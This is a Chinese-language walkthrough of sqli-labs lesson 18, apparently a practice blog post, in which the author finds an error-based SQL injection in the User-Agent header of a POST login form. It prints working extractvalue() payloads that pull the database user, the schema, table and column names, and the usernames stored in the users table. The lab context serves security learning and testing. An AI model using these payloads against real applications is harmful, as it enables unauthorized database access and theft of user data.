sqli-labs练习(十八)— POST-Headers Injection-Uagent field-Error based
按照正常思路,先是对username和password输入框进行测试,并没有找到注入点,页面上显示的ip地址也很奇怪,最会无奈查看了源代码,才发现了突破口。
发现后台对uname和passwd有检查过滤函数check_input
于是跟进check_input函数,发现对输入的参数进行了长度限制,纯数字过滤,特殊符号过滤
到现在我们就可以看出,在uname和passwd出已经无法入手,,,,
往后看,又发现了一处sql执行语句执行了插入
并且只能是正确的用户名和密码的情况下才能进行下一步的插入操作,从代码可以看出,插入的数据有uagent、IP、uname,由于uname有过滤函数,不存在注入点,在测试ip出注入的时候发现会出现请求错,最后在uagent处发现注入点
得到页面在uagent报错
根据上面的尝试过程可以发现在uagent处存在报错注入。
构造payload:' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and '1'='1
payload成功执行
获取数据库名:' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and '1'='1
获取表名:' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e))) and '1'='1
获取字段名:' and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))) and '1'='1
获取字段值:' and (extractvalue(1,concat(0x7e,(select username from users),0x7e))) and '1'='1